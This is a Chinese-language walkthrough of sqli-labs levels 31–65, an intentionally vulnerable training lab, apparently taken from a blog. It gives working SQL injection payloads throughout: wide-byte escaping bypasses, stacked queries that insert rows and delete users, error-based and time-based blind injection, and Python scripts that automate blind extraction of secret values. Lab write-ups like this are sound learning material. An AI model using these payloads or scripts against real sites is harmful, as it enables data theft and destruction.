sqli-labs 30到65关
less-31
邏輯跟30關一樣,只不過
$id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";閉合的情況不一樣。
payload:
http://192.168.211.145/sqli/Less-31/?id=1&id=")union select 1,database(),("3
less-32
首先測試?id=1'
可見在'前面加了反斜杠,嘗試寬字節注入
原理:mysql在使用GBK編碼的時候,會認為兩個字符為一個漢字,例如%aa%5c就是一個漢字(前一個ascii碼大于128才能到漢字的范圍)。我們在過濾 ' 的時候,往往利用的思路是將 ' 轉換為 ' (轉換的函數或者思路會在每一關遇到的時候介紹)。
因此我們在此想辦法將 ' 前面添加的 \ 除掉,一般有兩種思路:
http://192.168.211.145/sqli/Less-32/?id=-1%df%27union select 1,database(),3%23
獲取到數據。
waf如下:
function check_addslashes($string) {$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslashreturn $string; }less-33
同樣使用寬字節注入。
function check_addslashes($string) {$string= addslashes($string); return $string; }addslashes() 函數返回在預定義字符之前添加反斜杠的字符串。
預定義字符是:
單引號(')
雙引號(")
反斜杠(\)
NULL
32關只不過是用正則去實現的類似addslashes(),函數的功能。
less-34
同樣是寬字節注入,只不過是post注入,在這里需要使用burpsuite抓包修改
拿去數據的話構造payload還是一樣的方法
less-35
這個題剛開始做的時候直接常規做法讀了,讀到了數據。
但是題目不應該是讓這樣操作的吧,還是看一下代碼吧。
function check_addslashes($string) {$string = addslashes($string);return $string; } mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";這個題目感覺不應該在35關啊,數字型注入,只需要編碼繞過就可以了啊。 payload:
http://192.168.211.145/sqli/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
less-36
這個題目與前兩個不同的是使用的函數不同,
function check_quotes($string) {$string= mysql_real_escape_string($string); return $string; }mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
\x00
\n
\r
\
'
"
\x1a
如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
同樣使用寬字節注入攻擊。
less-37
這關的攻擊姿勢跟34關差不多,waf跟36關一樣,攻擊姿勢看34關。
less-38
下面將會考查堆疊注入(Stacked injections).從名詞的含義就可以看到應該是一堆sql語句(多條)一起執行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令行中,每一條語句結尾加 ; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。這個叫做stacked injection。
原理介紹:
在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合并在一起,兩者之間有什么區別么?區別就在于union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。
例如: 新建一個表
select * from users where id=1;create table test like users;
執行成功,我們再去看一下是否新建成功表。
局限性:
堆疊注入的局限性在于并不是每一個環境下都可以執行,可能受到API或者數據庫引擎不支持的限制,當然了權限不足也可以解釋為什么攻擊者無法修改數據或者調用一些程序。
雖然我們前面提到了堆疊查詢可以執行任意的sql語句,但是這種注入方式并不是十分的完美的。在我們的web系統中,因為代碼通常只返回一個查詢結果,因此,堆疊注入第二個語句產生錯誤或者結果只能被忽略,我們在前端界面是無法看到返回結果的。
因此,在讀取數據時,我們建議使用union(聯合)注入。同時在使用堆疊注入之前,我們也是需要知道一些數據庫相關信息的,例如表名,列名等信息。
payload:
http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+
可見成功插入數據。
less-39
這道題目跟上道題目是一樣的,唯一的區別是
http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+
改為數字型注入了。
less-40
題目也一樣,只不過語句
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
閉合一下就可以。
less-41
這關和less-39關一直,只不過錯誤沒有回顯。
http://192.168.211.145/sqli/Less-41/?id=1 ; insert into users(id,username,password) values (28,'test2','test2')--+
less-42
分析關鍵代碼:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);$password = $_POST["login_password"];$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";登陸的這里可以看到login_password登陸的時候并沒有使用mysqli_real_escape_string來進行過濾,然后直接帶去sql語句進行執行了。
那么就可以利用這里來進行注入了。
在進行post的時候,username隨機就可以
login_password=';delete from users where username="test2";#
然后執行登陸之后
可見命令已經執行,test2用戶已經被刪除。
同時如果想拿數據的話可以
login_password=0' union select 1,database(),3;#
執行語句實際如下:
less-43
與上一關基本差不多,區別在于
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
只需要再閉合)就可以。payload如下:
delete from users where username="123";#
拿數據的跟上面也差不多,閉合一下就OK,payload如下
0') union select 1,database(),3;#
less-44
這關與前兩個的區別就在于沒有報錯回顯,很難知道是怎么去閉合的,這里閉合的話常規閉合嘗試就可以。
payload如下:
login_password=0' union select 1,database(),3;#less-45
這題的性質跟上面那個題性質差不多,重點還是在閉合
login_password=0') union select 1,database(),3;#less-46
從這關開始的幾關要考查order by 注入。
這關有報錯回顯,直接報錯注入。
可以看到已經報錯,但是被解析了,右鍵查看一下源代碼就能看到。
看一下代碼
$sql = "SELECT * FROM users ORDER BY $id";上面執行的語句:
mysql> select * from users order by 1 and extractvalue(1,concat(0x3c,(select da tabase()))); ERROR 1105 (HY000): XPATH syntax error: '<security'同時這里也可以也可以使用盲注,構造布爾條件,example如下:
?sort=1 and if(1=1, sleep(1), null) sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null) sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)less-47
與上一關的區別在于
$sql = "SELECT * FROM users ORDER BY '$id'";閉合一下就可以。
sort=1' and extractvalue(1,concat(0x3c,(select database())))%23 ?sort=1 and if(1=1, sleep(1), null) sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23 sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23less-48
這關沒有報錯回顯,盲注
?sort=1 and if(1=1, sleep(1), null) sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null) sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)less-49
跟上一關差不多,字符串類型盲注
?sort=1' and if(1=1, sleep(1), null)%23 sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23 sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23less-50
這里就不對stacked injection進行贅述了。利用payload
?sort=1;delete from users where username="admin2" less-51 $sql="SELECT * FROM users ORDER BY '$id'";注意單引號的閉合,攻擊payload如下:
?sort=1';delete from users where username='admin4less-52
跟50關差不多,只不過沒回顯。攻擊payload一樣。
less-53
這關跟52關一樣,只不過是字符串類型的,注意一下閉合,payload用上面的就可以。
less-54
后面這幾關主要一個進階的過程,將前面所學到的知識融會貫通,熟練使用。 代碼分析如下
if(!isset($_POST['answer_key'])) {// resetting the challenge and repopulating the table .if(isset($_POST['reset'])){setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have reset the Challenge</font><br>\n";echo "Redirecting you to main challenge page..........\n";header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );//echo "cookie expired";}else{// Checking the cookie on the page and populate the table with random value.if(isset($_COOKIE['challenge'])){$sessid=$_COOKIE['challenge'];//echo "Cookie value: ".$sessid;}else{$expire = time()+60*60*24*30;$hash = data($table,$col);setcookie("challenge", $hash, $expire);}echo "<br>\n";// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//update the counter in databasenext_tryy();//Display attempts on screen.$tryyy = view_attempts();echo "You have made : ". $tryyy ." of $times attempts";echo "<br><br><br>\n";//Reset the Database if you exceed allowed attempts.if($tryyy >= ($times+1)){setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";echo "Redirecting you to challenge page..........\n";header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );echo "<br>\n";} // Querry DB to get the correct output$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">'; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else{echo '<font color= "#FFFF00">'; // print_r(mysql_error());echo "</font>"; }}else{echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;}} ?> <?php } else {echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';$key = addslashes($_POST['key']);$key = mysql_real_escape_string($key);//echo $key;//Query table to verify your result$sql="SELECT 1 FROM $table WHERE $col1= '$key'";//echo "$sql";$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());$row = mysql_fetch_array($result);if($row){echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/Less-54-1.jpg" />';echo "</font>";header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" ); }else{echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/slap1.jpg" />';header( "refresh:3;url=index.php" );//print_r(mysql_error());echo "</font>"; } } ?>如果沒有點提交按鈕將會進入下面的else語句,有過濾,顯然突破口在上面。如果點了提交將會setcookie,然后看到有個GET提交的id參數,然后有個更新數據庫操作,這里限制了10次請求次數,否則更新數據庫。
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
然后進入查詢語句,沒有過濾。
http://192.168.211.145/sqli/Less-54/index.php?id=-1%27%20union%20select%201,database(),%273 //查庫
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23 //查表
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ecimhbu7cx //查列
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_NO71),3 from ecimhbu7cx%23 //查數據
less-55
這個題限制了請求14次,不過當測試出閉合情況之后后面就一切順利了。 先嘗試閉合
http://192.168.211.145/sqli/Less-55/?id=1'%23 //錯誤
http://192.168.211.145/sqli/Less-55/?id=1')%23 //錯誤
http://192.168.211.145/sqli/Less-55/?id=1)%23 //正確
嘗試之后發現是用)閉合,
http://192.168.211.145/sqli/Less-55/?id=-1) union select 1,database(),3%23
后面的payload跟上一關差不多,加上)閉合就可以。
less-56
這幾關都差不多,首先也是嘗試閉合
http://192.168.211.145/sqli/Less-56/index.php?id=1')%23 //成功閉合
http://192.168.211.145/sqli/Less-56/index.php?id=-1') union select 1,database(),3%23
后面就常規注入就可以了。
less-57
這關是雙引號閉合的
http://192.168.211.145/sqli/Less-57/?id=-1" union select 1,database(),3%23
less-58
關鍵代碼如下
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">'; $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");$pass = array_reverse($unames);echo 'Your Login name : '. $unames[$row['id']];echo "<br>";echo 'Your Password : ' .$pass[$row['id']];echo "</font>";}else{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; }可以看到查詢之后并沒有返回查詢數據庫當中的數據,不能使用union聯合注入,但是有報錯回顯,可以使用報錯注入。
http://192.168.211.145/sqli/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23
less-59
與上一關的區別在于:
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1"; payload: http://192.168.211.145/sqli/Less-59/index.php?id= 1 and extractvalue(1, concat(0x5c, (select database())))%23less-60
與上一關的區別在于
$id = '("'.$id.'")';
攻擊payload如下
http://192.168.211.145/sqli/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23
less-61
區別在于
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";攻擊payload如下:
http://192.168.211.145/sqli/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23
這幾關都是有報錯回顯的,很容易根據報錯語句去閉合。
less-62
接下來幾關要在130次內完成盲注。
可以看到回顯不一樣,很容易構造布爾條件。
只不過有次數限制,很明顯不能去爆破,
http://192.168.211.145/sqli/Less-62/index.php?id=1') and (length(database())=10)%23
手試幾次查出數據庫長度為10.
寫腳本跑出數據庫名字
# -*- coding: UTF-8 -*- import requests global num url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')" def check(payload):global numnum += 1content = requests.get(url=payload).textprint payloadif "Angelina" in content:return 1else:return 0 def exp():result = ''start = 30end = 127for i in range(1,11):for j in range(start,end):tmp = (start+end)/2#print tmppayload = url + "and ascii(substr(database(),%d,1))>%d--+" % (i,tmp)if (end - start ==1):payload = url + "and ascii(substr(database(),%d,1))=%d--+" % (i,tmp)if check(payload):result += chr(tmp)start = 30end = 127breakelse:result += chr(tmp+1)start = 30end =127breakif check(payload):start = tmpelse:end = tmpprint result if __name__ == '__main__':num =0exp()print num可見爆破了77了跑出數據庫名字。
中間就省略了,直接貼出跑字段的腳本
# -*- coding: UTF-8 -*- import requests global num url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')" def check(payload):global numnum += 1content = requests.get(url=payload).textprint payloadif "Angelina" in content:return 1else:return 0 def exp():result = ''start = 30end = 127for i in range(1,25):for j in range(start,end):tmp = (start+end)/2#print tmppayload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))>%d--+" % (i,tmp)if (end - start ==1):payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))=%d--+" % (i,tmp)if check(payload):result += chr(tmp)start = 30end = 127breakelse:result += chr(tmp+1)start = 30end =127breakif check(payload):start = tmpelse:end = tmpprint result if __name__ == '__main__':num =0exp()print num這里雖然限制了130次,但是還是可以用腳本跑出內容,還沒再怎么縮小,想到之后更新。
less-63
這關跟上一關一樣,唯一的區別在于
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";需要使用單引號閉合。
less-64
與前面一樣,區別在于
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";括號閉合一下。
less-65
這幾關性質都一樣,只不過閉合語句不同,不再贅述、
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";總結
以上是生活随笔為你收集整理的sqli-labs 30到65关的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sql_mysql注入基础篇
- 下一篇: sqli-lib1-36关 精选篇